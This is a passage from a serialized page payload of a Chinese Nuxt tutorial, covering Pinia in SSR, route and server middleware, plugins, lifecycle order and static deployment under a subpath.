await\n\u003C\u002Fscript>\n",[22,13883,13884,13894,13907,13923],{"__ignoreMap":314},[331,13885,13886,13888,13890,13892],{"class":333,"line":334},[331,13887,510],{"class":337},[331,13889,891],{"class":497},[331,13891,6299],{"class":501},[331,13893,505],{"class":337},[331,13895,13896,13898,13901,13903,13905],{"class":333,"line":341},[331,13897,951],{"class":616},[331,13899,13900],{"class":344}," user",[331,13902,957],{"class":616},[331,13904,13752],{"class":501},[331,13906,1540],{"class":337},[331,13908,13909,13911,13914,13917,13920],{"class":333,"line":357},[331,13910,3286],{"class":616},[331,13912,13913],{"class":337}," user.",[331,13915,13916],{"class":501},"load",[331,13918,13919],{"class":337},"()          ",[331,13921,13922],{"class":1003},"\u002F\u002F 想让它进 SSR HTML 就在 setup 顶层 await\n",[331,13924,13925,13927,13929],{"class":333,"line":371},[331,13926,788],{"class":337},[331,13928,891],{"class":497},[331,13930,505],{"class":337},[11,13932,13933,13936,13937,13940,13941,13943,13944,13946],{},[22,13934,13935],{},"defineStore"," 可以留在 ",[22,13938,13939],{},"app\u002Fstores\u002F","（Nuxt 不自动导入 store，需要 ",[22,13942,4648],{},"）；要免 import 就放进 ",[22,13945,4669],{}," 里包一层。",[53,13948,13950],{"id":13949},"ssr-场景的三条铁律","SSR 场景的三条铁律",[1659,13952,13953,13974,13987],{},[1662,13954,13955,268,13958,13961,13962,13965,13966,13969,13970,13973],{},[17,13956,13957],{},"每个请求一个 Pinia 实例。",[22,13959,13960],{},"@pinia\u002Fnuxt"," 已经做了这件事（插件里 ",[22,13963,13964],{},"createPinia()"," 每次请求新建）。你",[17,13967,13968],{},"自己","在模块顶层创建的普通单例（",[22,13971,13972],{},"const cache = new Map()","）会跨请求共享——这是 SSR 最危险的一类 bug：A 用户看到了 B 用户的数据。",[1662,13975,13976,13983,13984,13986],{},[17,13977,13978,13979,655,13981],{},"store 初始化数据要走 ",[22,13980,5485],{},[22,13982,5497],{},"，不要 ",[22,13985,6734],{},"。否则服务端渲染时 store 是空的，首屏正文也就是空的。",[1662,13988,13989,161,13992,13994,13995,13998],{},[17,13990,13991],{},"持久化只在客户端做",[22,13993,2771],{}," 在服务端不存在，SSR 阶段访问它会报错。用 ",[22,13996,13997],{},"import.meta.client"," 守卫：",[308,14000,14002],{"className":5205,"code":14001,"language":5207,"meta":314,"style":314},"if (import.meta.client) {\n  watch(() => store.theme, (v) => localStorage.setItem('theme', v), { immediate: true })\n}\n",[22,14003,14004,14019,14056],{"__ignoreMap":314},[331,14005,14006,14008,14010,14012,14014,14016],{"class":333,"line":334},[331,14007,11541],{"class":616},[331,14009,1147],{"class":337},[331,14011,4648],{"class":616},[331,14013,1192],{"class":337},[331,14015,540],{"class":344},[331,14017,14018],{"class":337},".client) {\n",[331,14020,14021,14024,14026,14028,14031,14034,14036,14038,14041,14044,14046,14049,14052,14054],{"class":333,"line":341},[331,14022,14023],{"class":501},"  watch",[331,14025,1486],{"class":337},[331,14027,1489],{"class":616},[331,14029,14030],{"class":337}," store.theme, (",[331,14032,14033],{"class":2472},"v",[331,14035,3180],{"class":337},[331,14037,1489],{"class":616},[331,14039,14040],{"class":337}," localStorage.",[331,14042,14043],{"class":501},"setItem",[331,14045,966],{"class":337},[331,14047,14048],{"class":365},"'theme'",[331,14050,14051],{"class":337},", v), { immediate: ",[331,14053,1131],{"class":344},[331,14055,1139],{"class":337},[331,14057,14058],{"class":333,"line":357},[331,14059,459],{"class":337},[4748,14061],{"height":14062,"src":14063,"title":14064},640,"\u002Ftutorials\u002Fvue3\u002Fdemos\u002F15-pinia-store.html","跨课示例（Vue 3 教程 示例 15）：两个组件共享同一个 store",[11,14066,14067],{},"跨课程提示：上面这个示例属于《Vue 3 教程》。在 Nuxt 里唯一多出来的就是「实例按请求创建」这一层，其余用法不变。",[53,14069,4796],{"id":14070},"️-本章的坑-10",[11,14072,14073,268,14076,14079,14080,14083,14084,14087,14088,1901,14091,14093,14094,14096],{},[17,14074,14075],{},"1. 模块顶层的可变单例。",[22,14077,14078],{},"const state = reactive({ list: [] })"," 写在 ",[22,14081,14082],{},"\u003Cscript>"," 顶层或某个 ",[22,14085,14086],{},"utils"," 文件里，SSR 下所有请求共用 → 数据串号。放进 ",[22,14089,14090],{},"useState()",[22,14092,13935],{}," \u002F 或 ",[22,14095,5516],{}," 内部创建。",[11,14098,14099,14104],{},[17,14100,5672,14101,14103],{},[22,14102,5497],{}," 存了不可序列化的东西。"," 存 class 实例、函数、DOM 元素 → payload 里丢失或报错，表现为「服务端有值、客户端 undefined」。只存纯数据。",[11,14106,14107,268,14112,1901,14114,14117,14118,14120,14121,272,14123,161],{},[17,14108,6665,14109,14111],{},[22,14110,2771],{}," 在 SSR 阶段裸奔。",[22,14113,8758],{},[22,14115,14116],{},"localStorage is not defined","。三种正解：",[22,14119,13997],{}," 判断、",[22,14122,8762],{},[22,14124,7850],{},[11,14126,14127,14130,14131,14133,14134,14136],{},[17,14128,14129],{},"4. 忘记水合导致「闪一下」。"," 服务端把 store 初始值写进 payload，若客户端又在 ",[22,14132,6734],{}," 里重新请求一遍，界面会出现「旧值 → 空 → 新值」。改成 setup 顶层 ",[22,14135,3286],{}," 一次。",[11,14138,14139,14144],{},[17,14140,14141,14142,161],{},"5. store 里直接读 ",[22,14143,7659],{}," 可以，但要在 setup 上下文中；且注意服务端阶段的 route 与客户端阶段可能不同（重定向后）。需要「进入页面时的路由」请存进局部变量。",[11,14146,14147,14153,14154,14156],{},[17,14148,7717,14149,14152],{},[22,14150,14151],{},"$reset()"," 在 setup store 里不存在。"," 与《Vue 3 教程》第十五章第 3 条一样：自己写一个 ",[22,14155,14151],{}," 返回。",[11,14158,14159,14162,14163,14166],{},[17,14160,14161],{},"7. 把 SSR 阶段取的用户数据留在 Pinia 里返回给别的用户。"," 严格来说这是第 1 条的后果，但值得单列：",[17,14164,14165],{},"任何「按请求的状态」都必须由 Pinia\u002FuseState 托管，不能由模块变量托管","。上线前用两个不同账号并发压一次，看有没有串。",[53,14168,14170],{"id":14169},"附共享状态选型","附：共享状态选型",[57,14172,14173,14181],{},[60,14174,14175],{},[63,14176,14177,14179],{},[66,14178,9791],{},[66,14180,9794],{},[79,14182,14183,14192,14200,14214,14226,14234,14246],{},[63,14184,14185,14188],{},[84,14186,14187],{},"一次访问内的界面状态（侧栏、筛选、步骤）",[84,14189,14190],{},[22,14191,5497],{},[63,14193,14194,14197],{},[84,14195,14196],{},"需要 getter\u002Faction\u002F调试面板的业务状态",[84,14198,14199],{},"Pinia",[63,14201,14202,14205],{},[84,14203,14204],{},"服务端数据缓存与刷新",[84,14206,14207,1901,14209,14211,14212],{},[22,14208,5482],{},[22,14210,5485],{},"（第五章）+ ",[22,14213,9066],{},[63,14215,14216,14219],{},[84,14217,14218],{},"只有当前组件用",[84,14220,14221,1901,14223],{},[22,14222,4778],{},[22,14224,14225],{},"reactive",[63,14227,14228,14231],{},[84,14229,14230],{},"父到子 \u002F 子到父",[84,14232,14233],{},"props \u002F emit",[63,14235,14236,14239],{},[84,14237,14238],{},"主题、语言这类环境值",[84,14240,14241,6745,14243,14245],{},[22,14242,5497],{},[22,14244,11757],{},"（构建期常量）",[63,14247,14248,14251],{},[84,14249,14250],{},"URL 能表达的状态（分页、tab、关键词）",[84,14252,14253],{},"路由 query",[48,14255,14257],{"id":14256},"十二插件中间件与组合式函数挂到生命周期上","十二、插件、中间件与组合式函数：挂到生命周期上",[11,14259,14260],{},"这三样是 Nuxt 里「组织代码」的主要手段，分工很清楚：",[57,14262,14263,14275],{},[60,14264,14265],{},[63,14266,14267,14270,14273],{},[66,14268,14269],{},"手段",[66,14271,14272],{},"触发时机",[66,14274,11668],{},[79,14276,14277,14291,14312,14325],{},[63,14278,14279,14285,14288],{},[84,14280,14281,14282],{},"路由中间件 ",[22,14283,14284],{},"app\u002Fmiddleware\u002F",[84,14286,14287],{},"每次导航（客户端）\u002F 服务端渲染前",[84,14289,14290],{},"鉴权、语言切换、埋点重定向",[63,14292,14293,14299,14305],{},[84,14294,14295,14296],{},"Nuxt 插件 ",[22,14297,14298],{},"app\u002Fplugins\u002F",[84,14300,14301,14302,5149],{},"应用初始化（",[17,14303,14304],{},"每个请求各跑一次",[84,14306,14307,14308,14311],{},"注册 ",[22,14309,14310],{},"$http","、注入全局样式逻辑、接第三方 SDK",[63,14313,14314,14319,14322],{},[84,14315,14316,14317],{},"组合式函数 ",[22,14318,4669],{},[84,14320,14321],{},"你在组件里调用时",[84,14323,14324],{},"复用「状态 + 逻辑」",[63,14326,14327,14333,14336],{},[84,14328,14329,14330],{},"服务端中间件 ",[22,14331,14332],{},"server\u002Fmiddleware\u002F",[84,14334,14335],{},"每个进入服务端的请求",[84,14337,14338],{},"日志、CORS、请求计时",[53,14340,14341],{"id":14341},"路由中间件",[308,14343,14345],{"className":5205,"code":14344,"language":5207,"meta":314,"style":314},"\u002F\u002F app\u002Fmiddleware\u002Fauth.ts   （文件名即中间件名：definePageMeta({ middleware: 'auth' })）\nexport default defineNuxtRouteMiddleware((to) => {\n  const user = useState('user', () => null)\n  if (!user.value && to.meta.requiresAuth !== false) {\n    return navigateTo(`\u002Flogin?redirect=${to.fullPath}`)     \u002F\u002F 返回跳转 = 拦截\n  }\n  \u002F\u002F 返回 undefined 放行；return abortNavigation('消息') 直接进错误页\n})\n",[22,14346,14347,14352,14371,14393,14417,14443,14447,14452],{"__ignoreMap":314},[331,14348,14349],{"class":333,"line":334},[331,14350,14351],{"class":1003},"\u002F\u002F app\u002Fmiddleware\u002Fauth.ts   （文件名即中间件名：definePageMeta({ middleware: 'auth' })）\n",[331,14353,14354,14356,14358,14361,14363,14365,14367,14369],{"class":333,"line":341},[331,14355,5219],{"class":616},[331,14357,5222],{"class":616},[331,14359,14360],{"class":501}," defineNuxtRouteMiddleware",[331,14362,3175],{"class":337},[331,14364,6148],{"class":2472},[331,14366,3180],{"class":337},[331,14368,1489],{"class":616},[331,14370,1100],{"class":337},[331,14372,14373,14375,14377,14379,14381,14383,14385,14387,14389,14391],{"class":333,"line":357},[331,14374,1496],{"class":616},[331,14376,13900],{"class":344},[331,14378,957],{"class":616},[331,14380,13606],{"class":501},[331,14382,966],{"class":337},[331,14384,13762],{"class":365},[331,14386,8322],{"class":337},[331,14388,1489],{"class":616},[331,14390,13865],{"class":344},[331,14392,972],{"class":337},[331,14394,14395,14397,14399,14401,14404,14407,14410,14412,14415],{"class":333,"line":371},[331,14396,1526],{"class":616},[331,14398,1147],{"class":337},[331,14400,1150],{"class":616},[331,14402,14403],{"class":337},"user.value ",[331,14405,14406],{"class":616},"&&",[331,14408,14409],{"class":337}," to.meta.requiresAuth ",[331,14411,3076],{"class":616},[331,14413,14414],{"class":344}," false",[331,14416,2476],{"class":337},[331,14418,14419,14421,14423,14425,14428,14430,14432,14435,14437,14440],{"class":333,"line":384},[331,14420,1545],{"class":616},[331,14422,6313],{"class":501},[331,14424,966],{"class":337},[331,14426,14427],{"class":365},"`\u002Flogin?redirect=${",[331,14429,6148],{"class":337},[331,14431,1192],{"class":365},[331,14433,14434],{"class":337},"fullPath",[331,14436,8524],{"class":365},[331,14438,14439],{"class":337},")     ",[331,14441,14442],{"class":1003},"\u002F\u002F 返回跳转 = 拦截\n",[331,14444,14445],{"class":333,"line":397},[331,14446,453],{"class":337},[331,14448,14449],{"class":333,"line":418},[331,14450,14451],{"class":1003},"  \u002F\u002F 返回 undefined 放行；return abortNavigation('消息') 直接进错误页\n",[331,14453,14454],{"class":333,"line":427},[331,14455,5399],{"class":337},[11,14457,14458],{},"三种注册方式：",[308,14460,14462],{"className":5205,"code":14461,"language":5207,"meta":314,"style":314},"definePageMeta({ middleware: ['auth'] })            \u002F\u002F 命名中间件（app\u002Fmiddleware\u002F 里的文件）\ndefinePageMeta({ middleware: [(to) => { \u002F* … *\u002F }] }) \u002F\u002F 行内\ndefinePageMeta({ middleware: (to) => { if (to.meta.globalSkip) return } })  \u002F\u002F 单个页面加全局逻辑\n\n\u002F\u002F 全局中间件（每个路由都跑）：文件名加 .global.ts\n\u002F\u002F app\u002Fmiddleware\u002Flogger.global.ts\n",[22,14463,14464,14479,14503,14535,14539,14544],{"__ignoreMap":314},[331,14465,14466,14468,14471,14473,14476],{"class":333,"line":334},[331,14467,5510],{"class":501},[331,14469,14470],{"class":337},"({ middleware: [",[331,14472,6468],{"class":365},[331,14474,14475],{"class":337},"] })            ",[331,14477,14478],{"class":1003},"\u002F\u002F 命名中间件（app\u002Fmiddleware\u002F 里的文件）\n",[331,14480,14481,14483,14486,14488,14490,14492,14494,14497,14500],{"class":333,"line":341},[331,14482,5510],{"class":501},[331,14484,14485],{"class":337},"({ middleware: [(",[331,14487,6148],{"class":2472},[331,14489,3180],{"class":337},[331,14491,1489],{"class":616},[331,14493,605],{"class":337},[331,14495,14496],{"class":1003},"\u002F* … *\u002F",[331,14498,14499],{"class":337}," }] }) ",[331,14501,14502],{"class":1003},"\u002F\u002F 行内\n",[331,14504,14505,14507,14509,14512,14514,14516,14518,14520,14522,14524,14527,14529,14532],{"class":333,"line":357},[331,14506,5510],{"class":501},[331,14508,9348],{"class":337},[331,14510,14511],{"class":501},"middleware",[331,14513,6534],{"class":337},[331,14515,6148],{"class":2472},[331,14517,3180],{"class":337},[331,14519,1489],{"class":616},[331,14521,605],{"class":337},[331,14523,11541],{"class":616},[331,14525,14526],{"class":337}," (to.meta.globalSkip) ",[331,14528,10859],{"class":616},[331,14530,14531],{"class":337}," } })  ",[331,14533,14534],{"class":1003},"\u002F\u002F 单个页面加全局逻辑\n",[331,14536,14537],{"class":333,"line":371},[331,14538,998],{"emptyLinePlaceholder":997},[331,14540,14541],{"class":333,"line":384},[331,14542,14543],{"class":1003},"\u002F\u002F 全局中间件（每个路由都跑）：文件名加 .global.ts\n",[331,14545,14546],{"class":333,"line":397},[331,14547,14548],{"class":1003},"\u002F\u002F app\u002Fmiddleware\u002Flogger.global.ts\n",[11,14550,14551,14552,4809,14554,14556,14557,14560],{},"异步中间件直接 ",[22,14553,1063],{},[22,14555,3286],{}," 即可。",[17,14558,14559],{},"顺序","：全局在前、命名在后、行内最后；多个中间件里只要有一个返回了跳转，后面的就不再执行。",[53,14562,14564],{"id":14563},"nuxt-插件提供全局能力","Nuxt 插件：提供全局能力",[308,14566,14568],{"className":5205,"code":14567,"language":5207,"meta":314,"style":314},"\u002F\u002F app\u002Fplugins\u002Fhttp.ts\nexport default defineNuxtPlugin(() => {\n  const config = useRuntimeConfig()\n  const http = $fetch.create({ baseURL: config.public.apiBase, retry: 1 })\n  http.interceptors.request.use((ctx) => { \u002F* 统一加 token *\u002F })\n  return { provide: { http } }          \u002F\u002F 组件里：const { $http } = useNuxtApp()\n})\n",[22,14569,14570,14575,14590,14603,14625,14649,14659],{"__ignoreMap":314},[331,14571,14572],{"class":333,"line":334},[331,14573,14574],{"class":1003},"\u002F\u002F app\u002Fplugins\u002Fhttp.ts\n",[331,14576,14577,14579,14581,14584,14586,14588],{"class":333,"line":341},[331,14578,5219],{"class":616},[331,14580,5222],{"class":616},[331,14582,14583],{"class":501}," defineNuxtPlugin",[331,14585,1486],{"class":337},[331,14587,1489],{"class":616},[331,14589,1100],{"class":337},[331,14591,14592,14594,14597,14599,14601],{"class":333,"line":357},[331,14593,1496],{"class":616},[331,14595,14596],{"class":344}," config",[331,14598,957],{"class":616},[331,14600,11331],{"class":501},[331,14602,1540],{"class":337},[331,14604,14605,14607,14610,14612,14615,14618,14621,14623],{"class":333,"line":371},[331,14606,1496],{"class":616},[331,14608,14609],{"class":344}," http",[331,14611,957],{"class":616},[331,14613,14614],{"class":337}," $fetch.",[331,14616,14617],{"class":501},"create",[331,14619,14620],{"class":337},"({ baseURL: config.public.apiBase, retry: ",[331,14622,7993],{"class":344},[331,14624,1139],{"class":337},[331,14626,14627,14630,14633,14635,14638,14640,14642,14644,14647],{"class":333,"line":384},[331,14628,14629],{"class":337},"  http.interceptors.request.",[331,14631,14632],{"class":501},"use",[331,14634,3175],{"class":337},[331,14636,14637],{"class":2472},"ctx",[331,14639,3180],{"class":337},[331,14641,1489],{"class":616},[331,14643,605],{"class":337},[331,14645,14646],{"class":1003},"\u002F* 统一加 token *\u002F",[331,14648,1139],{"class":337},[331,14650,14651,14653,14656],{"class":333,"line":397},[331,14652,1633],{"class":616},[331,14654,14655],{"class":337}," { provide: { http } }          ",[331,14657,14658],{"class":1003},"\u002F\u002F 组件里：const { $http } = useNuxtApp()\n",[331,14660,14661],{"class":333,"line":418},[331,14662,5399],{"class":337},[308,14664,14666],{"className":5205,"code":14665,"language":5207,"meta":314,"style":314},"\u002F\u002F app\u002Fplugins\u002Ftrack.ts —— 需要在导航上挂钩子的插件\nexport default defineNuxtPlugin((nuxtApp) => {\n  nuxtApp.hook('page:start', (comp) => { \u002F* 页面开始渲染 *\u002F })\n  nuxtApp.hook('page:finish', () => { \u002F* 页面渲染完，做埋点 *\u002F })\n  nuxtApp.hook('app:mounted', () => { \u002F* 仅客户端 *\u002F })\n})\n",[22,14667,14668,14673,14691,14721,14743,14765],{"__ignoreMap":314},[331,14669,14670],{"class":333,"line":334},[331,14671,14672],{"class":1003},"\u002F\u002F app\u002Fplugins\u002Ftrack.ts —— 需要在导航上挂钩子的插件\n",[331,14674,14675,14677,14679,14681,14683,14685,14687,14689],{"class":333,"line":341},[331,14676,5219],{"class":616},[331,14678,5222],{"class":616},[331,14680,14583],{"class":501},[331,14682,3175],{"class":337},[331,14684,7204],{"class":2472},[331,14686,3180],{"class":337},[331,14688,1489],{"class":616},[331,14690,1100],{"class":337},[331,14692,14693,14696,14699,14701,14704,14707,14710,14712,14714,14716,14719],{"class":333,"line":357},[331,14694,14695],{"class":337},"  nuxtApp.",[331,14697,14698],{"class":501},"hook",[331,14700,966],{"class":337},[331,14702,14703],{"class":365},"'page:start'",[331,14705,14706],{"class":337},", (",[331,14708,14709],{"class":2472},"comp",[331,14711,3180],{"class":337},[331,14713,1489],{"class":616},[331,14715,605],{"class":337},[331,14717,14718],{"class":1003},"\u002F* 页面开始渲染 *\u002F",[331,14720,1139],{"class":337},[331,14722,14723,14725,14727,14729,14732,14734,14736,14738,14741],{"class":333,"line":371},[331,14724,14695],{"class":337},[331,14726,14698],{"class":501},[331,14728,966],{"class":337},[331,14730,14731],{"class":365},"'page:finish'",[331,14733,8322],{"class":337},[331,14735,1489],{"class":616},[331,14737,605],{"class":337},[331,14739,14740],{"class":1003},"\u002F* 页面渲染完，做埋点 *\u002F",[331,14742,1139],{"class":337},[331,14744,14745,14747,14749,14751,14754,14756,14758,14760,14763],{"class":333,"line":384},[331,14746,14695],{"class":337},[331,14748,14698],{"class":501},[331,14750,966],{"class":337},[331,14752,14753],{"class":365},"'app:mounted'",[331,14755,8322],{"class":337},[331,14757,1489],{"class":616},[331,14759,605],{"class":337},[331,14761,14762],{"class":1003},"\u002F* 仅客户端 *\u002F",[331,14764,1139],{"class":337},[331,14766,14767],{"class":333,"line":397},[331,14768,5399],{"class":337},[11,14770,14771,14772,272,14775,272,14778,272,14781,272,14784,4839,14787,8170,14792,161],{},"常用钩子：",[22,14773,14774],{},"app:created",[22,14776,14777],{},"app:mounted",[22,14779,14780],{},"page:start",[22,14782,14783],{},"page:finish",[22,14785,14786],{},"vue:setup",[17,14788,14789,14790],{},"这个钩子里才能用 ",[22,14791,8742],{},[22,14793,14794],{},"meta:watch",[11,14796,14797,14800,14801,655,14803,14805],{},[17,14798,14799],{},"插件按请求执行","（SSR 下每个请求都跑一遍）。所以：不要在插件外面创建可变单例；注册全局样式\u002F第三方 SDK 时注意别重复挂载；重逻辑放 ",[22,14802,5497],{},[22,14804,5485],{}," 里让 Nuxt 管缓存。",[11,14807,14808,14809,14812,14813,161],{},"组合式函数与自动导入（",[22,14810,14811],{},"app\u002Fcomposables\u002FuseXxx.ts","）的写法和《Vue 3 教程》第十三章完全一致，Nuxt 只多给你一条便利：",[17,14814,14815],{},"放进目录就不用 import",[53,14817,14818],{"id":14818},"服务端中间件",[308,14820,14822],{"className":5205,"code":14821,"language":5207,"meta":314,"style":314},"\u002F\u002F server\u002Fmiddleware\u002Ftiming.ts\nexport default defineEventHandler((event) => {\n  const start = Date.now()\n  event.context.requestId = crypto.randomUUID()\n  setHeader(event, 'x-request-id', event.context.requestId)\n  \u002F\u002F 返回值在这里被忽略；要做「响应后」的事用 event.waitUntil 或钩子\n})\n",[22,14823,14824,14829,14847,14864,14879,14891,14896],{"__ignoreMap":314},[331,14825,14826],{"class":333,"line":334},[331,14827,14828],{"class":1003},"\u002F\u002F server\u002Fmiddleware\u002Ftiming.ts\n",[331,14830,14831,14833,14835,14837,14839,14841,14843,14845],{"class":333,"line":341},[331,14832,5219],{"class":616},[331,14834,5222],{"class":616},[331,14836,9630],{"class":501},[331,14838,3175],{"class":337},[331,14840,10115],{"class":2472},[331,14842,3180],{"class":337},[331,14844,1489],{"class":616},[331,14846,1100],{"class":337},[331,14848,14849,14851,14854,14856,14859,14862],{"class":333,"line":357},[331,14850,1496],{"class":616},[331,14852,14853],{"class":344}," start",[331,14855,957],{"class":616},[331,14857,14858],{"class":337}," Date.",[331,14860,14861],{"class":501},"now",[331,14863,1540],{"class":337},[331,14865,14866,14869,14871,14874,14877],{"class":333,"line":371},[331,14867,14868],{"class":337},"  event.context.requestId ",[331,14870,518],{"class":616},[331,14872,14873],{"class":337}," crypto.",[331,14875,14876],{"class":501},"randomUUID",[331,14878,1540],{"class":337},[331,14880,14881,14883,14885,14888],{"class":333,"line":384},[331,14882,10540],{"class":501},[331,14884,10427],{"class":337},[331,14886,14887],{"class":365},"'x-request-id'",[331,14889,14890],{"class":337},", event.context.requestId)\n",[331,14892,14893],{"class":333,"line":397},[331,14894,14895],{"class":1003},"  \u002F\u002F 返回值在这里被忽略；要做「响应后」的事用 event.waitUntil 或钩子\n",[331,14897,14898],{"class":333,"line":418},[331,14899,5399],{"class":337},[53,14901,4796],{"id":14902},"️-本章的坑-11",[11,14904,14905,268,14911,14914,14915,14917,14918,161],{},[17,14906,14907,14908,161],{},"1. 全局中间件命名忘加 ",[22,14909,14910],{},".global",[22,14912,14913],{},"app\u002Fmiddleware\u002Fauth.ts"," 只在被 ",[22,14916,5510],{}," 引用时生效。想全站生效请 ",[22,14919,14920],{},"auth.global.ts",[11,14922,14923,268,14932,14935,14936,14938],{},[17,14924,14925,14926,14928,14929,14931],{},"2. 中间件里 ",[22,14927,3286],{}," 了但没 ",[22,14930,10859],{}," 跳转。",[22,14933,14934],{},"navigateTo('\u002Flogin')"," 不加 ",[22,14937,10859],{},"，导航会继续（表现为「跳了又跳回来」）。中间件的返回值就是控制流。",[11,14940,14941,14947,14948,14950,14951,14954,14955,161],{},[17,14942,14943,14944,14946],{},"3. 中间件里调 ",[22,14945,5482],{}," 报错。"," 中间件不在组件 setup 上下文里，某些组合式（",[22,14949,5497],{}," 部分用法、",[22,14952,14953],{},"useNuxtApp"," 的组件级 API）不可用。要取数据请放页面里，或在中间件用 ",[22,14956,8269],{},[11,14958,14959,14962],{},[17,14960,14961],{},"4. 插件里创建可变单例。"," 「第一个用户设置了主题，第二个用户的主题跟着变」就是它（第十一章第 1 条）。",[11,14964,14965,14968,14969,14971,14972,14975,14976,7205,14979,14982,14983,14986],{},[17,14966,14967],{},"5. 第三方 SDK 在 SSR 阶段被 import 就炸。"," 它一加载就读 ",[22,14970,2795],{},"。解法：动态 ",[22,14973,14974],{},"await import()"," 并只在客户端执行（",[22,14977,14978],{},"if (import.meta.client)",[22,14980,14981],{},"plugins"," 里用 ",[22,14984,14985],{},"apply: 'client'","（写法随版本略有差异，实测为准）。",[11,14988,14989,14992,14993,161],{},[17,14990,14991],{},"6. 客户端与服务端各跑一遍插件，导致重复初始化。"," 日志里看到同一个 SDK 初始化两次——一次是 SSR、一次是水合，属正常；真需要只跑一次就用 ",[22,14994,5494],{},[11,14996,14997,268,15000,15003,15004,15006,15007,15010,15011,4839,15014,15017,15018,15021],{},[17,14998,14999],{},"7. 插件文件名带连字符，注入的 key 变了。",[22,15001,15002],{},"plugins\u002Fmy-http.ts"," 提供 ",[22,15005,14310],{}," 时，key 由你 ",[22,15008,15009],{},"provide"," 的对象决定，跟文件名无关；但",[17,15012,15013],{},"用默认导出名",[22,15015,15016],{},"export default defineNuxtPlugin(...)"," 里返回 ",[22,15019,15020],{},"{ provide: { mySdk } }","）时请显式命名，别指望自动推断。",[11,15023,15024,15030,15031,161],{},[17,15025,15026,15027,15029],{},"8. 服务端中间件里 ",[22,15028,10859],{}," 了响应。"," 中间件的返回被忽略（与 h3 那套一致），想短路请 ",[22,15032,10943],{},[53,15034,15036],{"id":15035},"附生命周期顺序一次页面访问","附：生命周期顺序（一次页面访问）",[57,15038,15039,15052],{},[60,15040,15041],{},[63,15042,15043,15046,15049],{},[66,15044,15045],{},"阶段",[66,15047,15048],{},"服务端",[66,15050,15051],{},"客户端",[79,15053,15054,15063,15075,15093,15112],{},[63,15055,15056,15058,15061],{},[84,15057,7993],{},[84,15059,15060],{},"全局中间件 → 页面中间件",[84,15062,15060],{},[63,15064,15065,15067,15072],{},[84,15066,9292],{},[84,15068,15069,15071],{},[22,15070,14774],{},"（插件按请求执行）",[84,15073,15074],{},"插件（水合阶段不重复创建应用，但 setup 钩子会跑）",[63,15076,15077,15079,15089],{},[84,15078,351],{},[84,15080,15081,15082,15085,15086,15088],{},"组件 ",[22,15083,15084],{},"setup"," 顶层 await（",[22,15087,5482],{},"\u002Fstore.load）",[84,15090,15081,15091],{},[22,15092,15084],{},[63,15094,15095,15098,15105],{},[84,15096,15097],{},"4",[84,15099,15100,15102,15103],{},[22,15101,14780],{}," → 渲染 HTML → ",[22,15104,14783],{},[84,15106,15107,15108,4843,15110],{},"水合 → ",[22,15109,14777],{},[22,15111,6734],{},[63,15113,15114,15116,15119],{},[84,15115,6508],{},[84,15117,15118],{},"响应带 payload 发出",[84,15120,15121,15122,15124],{},"后续导航：组件复用，",[22,15123,6734],{}," 不再跑（除非 key 变）",[48,15126,15128],{"id":15127},"十三部署静态产物子路径与-nginx","十三、部署：静态产物、子路径与 Nginx",[11,15130,15131,15132,15139],{},"本站就是这个模式的真实案例：",[17,15133,15134,15135,15138],{},"Nuxt 生成的静态产物交给已有的 Docker Nginx 托管，挂在 ",[22,15136,15137],{},"\u002Fnuxt\u002F"," 子路径下","。下面把整条链路和踩过的坑一次讲完。",[53,15141,15142],{"id":15142},"路线选择",[57,15144,15145,15159],{},[60,15146,15147],{},[63,15148,15149,15152,15154,15156],{},[66,15150,15151],{},"目标",[66,15153,5040],{},[66,15155,5046],{},[66,15157,15158],{},"服务器要什么",[79,15160,15161,15177,15200,15215],{},[63,15162,15163,15166,15170,15174],{},[84,15164,15165],{},"纯静态站点（内容站、文档、营销页）",[84,15167,15168],{},[22,15169,4569],{},[84,15171,15172],{},[22,15173,5105],{},[84,15175,15176],{},"Nginx \u002F OSS \u002F 任意静态托管",[63,15178,15179,15185,15189,15197],{},[84,15180,15181,15182,15184],{},"需要按请求渲染或 ",[22,15183,10320],{}," 接口",[84,15186,15187],{},[22,15188,4808],{},[84,15190,15191,15193,15194,5149],{},[22,15192,5084],{},"（含 ",[22,15195,15196],{},"server\u002Findex.mjs",[84,15198,15199],{},"Node 22+ 进程，或 Docker",[63,15201,15202,15205,15209,15212],{},[84,15203,15204],{},"托管平台（Vercel \u002F Netlify \u002F Cloudflare）",[84,15206,15207],{},[22,15208,4808],{},[84,15210,15211],{},"平台自适应 preset",[84,15213,15214],{},"平台自带",[63,15216,15217,15220,15225,15228],{},[84,15218,15219],{},"容器化部署",[84,15221,15222,15224],{},[22,15223,4808],{}," + 官方镜像",[84,15226,15227],{},"一个镜像",[84,15229,15230],{},"见本章最后",[53,15232,15233],{"id":15233},"静态部署完整链路",[308,15235,15237],{"className":3902,"code":15236,"language":3904,"meta":314,"style":314},"npm run generate          # = nuxt generate，产物在 .output\u002Fpublic\n",[22,15238,15239],{"__ignoreMap":314},[331,15240,15241,15243,15245,15248],{"class":333,"line":334},[331,15242,4989],{"class":501},[331,15244,5020],{"class":365},[331,15246,15247],{"class":365}," generate",[331,15249,15250],{"class":1003},"          # = nuxt generate，产物在 .output\u002Fpublic\n",[11,15252,15253],{},"产物形状（本站实测）：",[308,15255,15258],{"className":15256,"code":15257,"language":313},[311],".output\u002Fpublic\u002F\n├── index.html\n├── tutorials\u002Fvue3.html           每个路由一个 HTML 文件\n├── tutorials\u002Fvue3\u002F_payload.json  ← 该页的 SSR 数据，水合时复用，不再请求\n├── articles\u002Findex.html\n├── _nuxt\u002F                        打包后的 JS\u002FCSS（带哈希）\n├── img\u002F…  tutorials\u002F…\u002Fdemos\u002F…    来自 public\u002F 的原样文件\n└── 404.html                      预渲染的错误页\n",[22,15259,15257],{"__ignoreMap":314},[11,15261,15262,15267,15268,15271],{},[17,15263,15264,15265,161],{},"子路径部署必须配 ",[22,15266,4576],{}," 站点访问地址是 ",[22,15269,15270],{},"https:\u002F\u002Fsite.com\u002Fnuxt\u002F"," 时：",[308,15273,15275],{"className":5205,"code":15274,"language":5207,"meta":314,"style":314},"export default defineNuxtConfig({\n  app: { baseURL: '\u002Fnuxt\u002F' },      \u002F\u002F 注意：首尾都要有斜杠\n  nitro: { prerender: { crawlLinks: true, routes: ['\u002F'] } }\n})\n",[22,15276,15277,15287,15301,15314],{"__ignoreMap":314},[331,15278,15279,15281,15283,15285],{"class":333,"line":334},[331,15280,5219],{"class":616},[331,15282,5222],{"class":616},[331,15284,5225],{"class":501},[331,15286,1250],{"class":337},[331,15288,15289,15292,15295,15298],{"class":333,"line":341},[331,15290,15291],{"class":337},"  app: { baseURL: 